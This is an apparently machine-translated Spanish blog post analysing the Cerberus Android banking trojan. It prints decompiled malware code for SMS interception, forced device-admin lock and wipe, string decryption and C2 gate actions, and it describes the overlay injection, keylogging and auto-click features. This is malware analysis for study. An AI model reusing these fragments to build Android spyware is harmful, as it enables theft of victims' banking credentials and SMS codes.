Explorando el moderno malware Cerberus para Android

imagen

En la nariz 2020 y hoy ya tenemos la versión Android 9.0 Pie, donde Google late en el pecho y dice que su producto está protegido. Pero los villanos no duermen y crean su propio malware para Android.

Al azar, me encontré con un archivo apk ofuscado, que es un malware bancario llamado "Cerberus", y apareció en 2019.

El archivo APK de esta botnet me llegó con una dirección de conexión de servidor no válida; por lo tanto, parte de la lógica de trabajo y funcionalidad permaneció inexplorada, ya que esta botnet utiliza un sistema "modular" y carga la funcionalidad directamente desde su servidor.

Paquete de análisis de apk


Después de analizar el paquete apk, compilé la estructura del programa troyano:

  1. Receptor, ejecución automática + alarma;
  2. Servicio, se ejecuta en un ciclo con un intervalo de 8 segundos, es responsable de mostrar un mensaje emergente para habilitar el Servicio de Accesibilidad, activar la función de bloqueo de pantalla y deshabilitar los derechos de administrador;
  3. Servicio, recogiendo datos de los sensores del dispositivo, por lo que el malware recibió la actividad física del dispositivo;
  4. Servicio, en un ciclo bloquea la pantalla del dispositivo;
  5. Servicio, es responsable de intercambiar datos con el servidor;
  6. Activity, carga el código html en WebView y muestra el contenido, sirve para reemplazar la actividad de la aplicación bancaria;
  7. Actividad, solicita permisos peligrosos.
  8. Class, almacena en sí las líneas principales (String) del proyecto

Comencemos con el manifiesto


El manifiesto de la aplicación es bastante interesante y ya puede determinar a partir de él que no se trata de una aplicación simple, sino de un malware común.

Por ejemplo, considere los permisos para una aplicación:

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> 

Aquí puede ver que la aplicación tiene acceso a SMS, contactos, llamadas, Internet, la aplicación está en modo de suspensión.

Vamos más allá y vemos privilegios que permiten que la aplicación se convierta en la principal para recibir / enviar SMS, estos son los villanos utilizados para ocultar mensajes SMS en los teléfonos de las víctimas.

  <activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service> 

Y, por supuesto, el receptor, sirve para iniciar automáticamente los servicios e interceptar SMS.

  <receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> 

Derechos de administrador, esto ya es mucho más interesante. La aplicación necesita que bloqueen la eliminación de la aplicación (con los derechos de administrador habilitados, la aplicación simplemente no tendrá un botón de "eliminación"), y estos derechos le permitirán eliminar todo del dispositivo y bloquearlo.

  <activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver> 

Bueno, lo más interesante es el Servicio de Accesibilidad. Se utiliza para que el malware pueda hacer clic en la pantalla y otorgarse los permisos necesarios, incluidos los derechos de administrador. A través de este permiso, los atacantes supervisan todas las acciones del usuario en el dispositivo.

  <service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service> 

Bueno, el resto de los servicios y actividades que son de poco interés sin una dirección válida del servidor Malvari.

  <activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/> 

En general, el malware no usa nada sobrenatural, no usa ningún día 0 en Android. Los atacantes necesitan obtener un permiso de la víctima, y ​​no más, entonces el malware hará todo por sí mismo.

Google necesitaría limitar algunas de las capacidades de API para aplicaciones que no son de juego.

Receptor


El código de esta clase está ofuscado, pero esto no impide que se estudie.

Código ofuscado
 public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } } 


Y ahora una pequeña explicación sobre el código.

La configuración de Malvari se almacena en un archivo XML, el archivo se encuentra en el directorio /data/data/package_name/shared_prefs/Settings.xml

  • Public String ReadXML - método para leer la configuración
  • Public String SaveXML: método para guardar la configuración
  • DozeMode público booleano: comprueba si el modo Doze está habilitado
  • public class Service_fa extiende Service - Servicio para ensamblar la actividad física del dispositivo (pasos, sacudir el teléfono, etc.)
  • public class Service_server extiende Servicio - Servicio para conectarse al servidor
  • public class Service_event_loop extiende Servicio: un servicio que se ejecuta en un bucle infinito para realizar algunas funciones de malvari
  • public void startOffDozeMode: solicitud para deshabilitar el modo Doze
  • public void startAlarm - Inicia el receptor cada 10 segundos
  • intercepción pública nula SMS - Método para trabajar con intercepción de SMS
  • public boolean isAccessibilityService: método para verificar si el servicio de accesibilidad está habilitado
  • cis público booleano: un método que bloquea el trabajo de malvari en países que pertenecen a la CEI, a saber: ua, ru, by, tj, uz, tm, az, am, kz, kg y md (nombres abreviados de países)

Traté de llevar el código ofuscado anterior a una forma más legible y normal:

Código legible
 public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent); //   } if (isAdminDevice(context)) { if ((getScreenBoolean(context)) && (isAccessibilityServiceEnabled(context, srvSccessibility.class))) { if (isAccessibilityServiceEnabled(context, srvSccessibility.class)) { SaveXML(context, consts.autoClick, "1"); } Intent intent = new Intent(context, Admin.class); intent.putExtra("admin", "1"); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); startActivity(intent); } } } public void interceptionSMS(Context context, Intent intent){ Bundle bundle = intent.getExtras(); if (bundle != null) { final Object[] pdus = (Object[]) bundle.get(consts.string_116); String number = ""; String text = ""; if (pdus != null) { for (Object aPdusObj : pdus) { SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) aPdusObj); number = smsMessage.getDisplayOriginatingAddress(); text += smsMessage.getDisplayMessageBody(); } SaveXML(context, "LogSMS", "Number: " + number + " Text: " + text + "::endLog::"); } } } } 


Así que creo que el código se ha vuelto más comprensible para muchos lectores.

El receptor tiene 3 disparadores para disparar, que es cuando se reinicia el dispositivo, se recibe un SMS o cuando se inicia Alarmon.

Receiver también lanza 3 servicios:

  • Colección de actividad física del dispositivo (Service_fa)
  • Servicio para conectarse al servidor (Service_server)
  • Un servicio que se ejecuta en un ciclo sin fin para ejecutar algunas funciones de malvari (Service_event_loop)

En primer lugar, se inicia Service_fa y solo después de que el dispositivo esté activo (si el propietario del teléfono está caminando y el teléfono tiembla), se inician Service_server y Service_event_loop. Son el proceso principal de malvari, de esta manera el malvari puede eliminar dispositivos reales de emuladores y dispositivos de receptores, av y otros.

Receiver también inicia una solicitud de desconexión del modo Doze y una solicitud de confirmación del administrador.

Dado que el malware tiene privilegios de administrador, no se puede eliminar del dispositivo hasta que se eliminen los derechos.

Derechos de administrador


Veamos las posibilidades que tenemos gracias al Dispositivo de administración.

 <!-- ADMIN DEVICE XML --> <?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin> 

el elemento de bloqueo forzado es responsable de bloquear el bloqueo de pantalla del dispositivo y borrar los datos para eliminar los DATOS, la CACHÉ y toda la memoria del dispositivo (se restablece por completo).

Service_fa


Con esto terminaremos mirando Receiver y consideraremos otros servicios. Un servicio que toma datos de sensores sensores usando la clase SensorManager, este servicio simplemente recibe datos de actividad y los guarda en un archivo XML.

Gracias a esto, los villanos podrán obtener un historial de actividad y analizarlo para eliminar a los emuladores y especialmente a los usuarios perezosos.

Servidor_servicio


Este flujo se creó para la comunicación con el servidor, los datos se transmiten al servidor en forma encriptada utilizando el algoritmo de encriptación RC4 que codifica todo en base64 después.

Cuando se inicia el servicio, la primera solicitud al servidor se ve así:

  { "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" } 

Completé los datos enviados al servidor al azar, por el nombre de los parámetros, creo que todo está claro cuál es el responsable de qué, no pararemos en su análisis.
Ahora miramos cuáles pueden ser las respuestas del servidor, el malware comprueba si devuelve una respuesta vacía, si es así, comienza a clasificar la matriz de dominios del servidor en un bucle y envía esta solicitud a cada dominio, y si la respuesta contiene la línea == "~ I ~", entonces El malware se detiene en este dominio y comienza a funcionar con él.

Hemos decidido con qué dominio estamos trabajando, ahora estamos viendo el resto de las respuestas.

Si se devuelve Response == "|| youNeedMoreResources ||" luego, inmediatamente se realiza una solicitud al servidor para obtener un módulo Malvari adicional:
gate_url? action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}
Adelante, Respuesta == "|| no ||"
envía la solicitud gate_url? action = Registration & data = JSON al servidor:
  { "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" } 

Esta solicitud sirve para registrar un nuevo usuario en el panel de administración, este es el final de la solicitud del servidor.

Pero a continuación hay una condición que verifica la presencia del archivo "system.apk".

Código ofuscado:

 if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){} 

Código simplificado

 if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {} 

si el archivo está presente, JSON se genera en la forma:
 { "params":"updateSettingsAndCommands", "response":"data" } 

La respuesta del servidor se pasa al parámetro de respuesta, luego json se pasa al método que se encuentra en el módulo system.apk y se ejecuta utilizando la clase DexClassLoader.

Service_event_loop


Este servicio funciona en un bucle y espera un comando para bloquear el dispositivo. El dispositivo se bloquea en el bucle con derechos de administrador.

 DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow(); 

Este servicio puede deshabilitar los derechos de administrador, aparentemente el autor del malvari decidió hacer esto para la "autodestrucción" del malvari, a fin de no dejar rastros en el teléfono de las víctimas.

  ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName); 

Además, el ciclo tiene 2 velocidades de operación, 1 segundo y 8 segundos, si el Servicio de Accesibilidad está deshabilitado, funciona en el primer segundo y solicita habilitar este servicio, simplemente abriendo la Actividad y forzando a habilitar funciones especiales, en la práctica consideraremos esto en detalle.

Al final del ciclo, también hay una implementación como en Service_server, pero específicamente enviando comandos a un método que está dentro del módulo cargado "system.apk", pero los parámetros no son muy diferentes, vea JSON:

  { "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" } 

tick - segundos que cuenta el ciclo de servicio, accesibilidad - verifica si el servicio de accesibilidad está habilitado.

Cadena (s) de clase


Todas las líneas dentro de la clase se cifran con el algoritmo RC4 y luego se codifican en base64.

Un ejemplo:

cadena encriptada: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
donde los primeros 12 caracteres de straka son la clave de descifrado del algoritmo RC4
Claves: yyshybiwijuj
Texto cifrado: YzdkZDdkMjRlYjJmYjU5Y2Qw

Aquí es parte del código de clase Cadena (s)

  /* renamed from: A */ public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); /* renamed from: B */ public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); /* renamed from: C */ public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); /* renamed from: D */ public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); /* renamed from: E */ public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); /* renamed from: F */ public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); /* renamed from: G */ public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); /* renamed from: H */ public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); /* renamed from: I */ public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc="); 


Escribí un script para convertir estas líneas a su forma normal, esto me ayudó a pasar un poco de tiempo.

  /* renamed from: A */ public final String str_statMails = "statMails"; /* renamed from: B */ public final String str_activeDevice = "activeDevice"; /* renamed from: C */ public final String str_timeWorking = "timeWorking"; /* renamed from: D */ public final String str_statDownloadModule = "statDownloadModule"; /* renamed from: E */ public final String str_lockDevice = "lockDevice"; /* renamed from: F */ public final String str_offSound = "offSound"; /* renamed from: G */ public final String str_keylogger = "keylogger"; /* renamed from: H */ public final String str_activeInjection = "activeInjection"; /* renamed from: I */ public final String str_timeInject = "timeInject"; 

También vemos lo que se almacena en esta clase:

  /* renamed from: ay */ public final String str_url = "https://twitter.com/LukasStefanko"; /* renamed from: az */ public final String str_Accessibility = "Flash Player Service"; /* renamed from: bb */ public final String str_gate1 = "action=registration&data="; /* renamed from: bc */ public final String str_gate2 = "action=sendInjectLogs&data="; /* renamed from: bd */ public final String str_gate3 = "action=sendSmsLogs&data="; /* renamed from: be */ public final String str_gate4 = "action=timeInject&data="; /* renamed from: bf */ public final String str_gate5 = "action=sendKeylogger&data="; /* renamed from: bg */ public final String str_gate6 = "action=getModule&data="; /* renamed from: bh */ public final String str_gate7 = "action=checkap&data="; /* renamed from: bj */ public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]"; 


La cuenta de Twitter de Lukas Stefanko (@LukasStefanko) aparece en la URL del servidor, aparentemente el autor quería bromear o decirle algo a Lucas (este es un analista de NOD32), el nombre Accessibility Service + también se almacena aquí en el manifiesto android: label = “Flash Player Servicio ", y una lista de países para los que el malware no funciona.

El resto


Describa brevemente el trabajo de las inyecciones. Se implementa simplemente, si el Servicio de Accesibilidad está habilitado, entonces este servicio simplemente detecta el evento de lanzar una aplicación bancaria y lanza su actividad además de la actividad del banco, donde tiene un objeto WebView que descarga la falsificación html del banco, después de lo cual recibe datos usando JavaScript y los envía a Servidor Malvari.

También en este servicio se implementa Keylogger, que bloquea la eliminación de malware y hace clic automático en las confirmaciones. Se detectó una interacción de desconexión de seguridad en la aplicación com.miui.securitycenter. Esta aplicación se llama "Seguridad" y se utiliza en dispositivos Xiaomi, sus tareas principales son monitorear la seguridad de sus datos confidenciales. También se encontró un código para desactivar automáticamente "Google Play Protect" utilizando el método de autoclick.

Pasemos a practicar


Logré encontrar a los villanos en Twitter y obtener una captura de pantalla del panel de administración

imagen

Instale el paquete apk en un emulador con API 27.

Un icono de Flash Player llamado "Flash Player" apareció en el escritorio

Captura de pantalla
imagen

Estamos esperando el icono y hemos lanzado el malware.

Después de iniciar el Malvari, la Actividad comienza automáticamente con el requisito de habilitar el Servicio de Accesibilidad; si lo minimiza, aparecerá nuevamente y esto sucederá en un ciclo hasta que active el servicio.

Captura de pantalla
imagenimagen

Después de activar la casilla de verificación del Servicio de accesibilidad, cambié automáticamente de la configuración al escritorio y ya no pude acceder a la configuración del Servicio de accesibilidad, el ícono del escritorio también desapareció, después de unos segundos apareció la solicitud de apagado del Modo Doze, se apagó automáticamente debido a las características especiales de autoclick .

Captura de pantalla
imagen

Siguiente de la misma manera fue la confirmación automática de los derechos de administrador. No fue posible eliminar el malware manualmente porque al abrir la configuración de esta aplicación, se cerró automáticamente (GLOBAL_ACTION_BACK).

En realidad, esto es todo en la primera parte, pronto escribiré la segunda parte con un módulo adicional y posiblemente con el módulo principal de este bot, ya que no pude encontrar el archivo apk del malware con un enlace válido al servidor.

Malvari reverse se implementó junto con keklick1337

Source: https://habr.com/ru/post/459858/


All Articles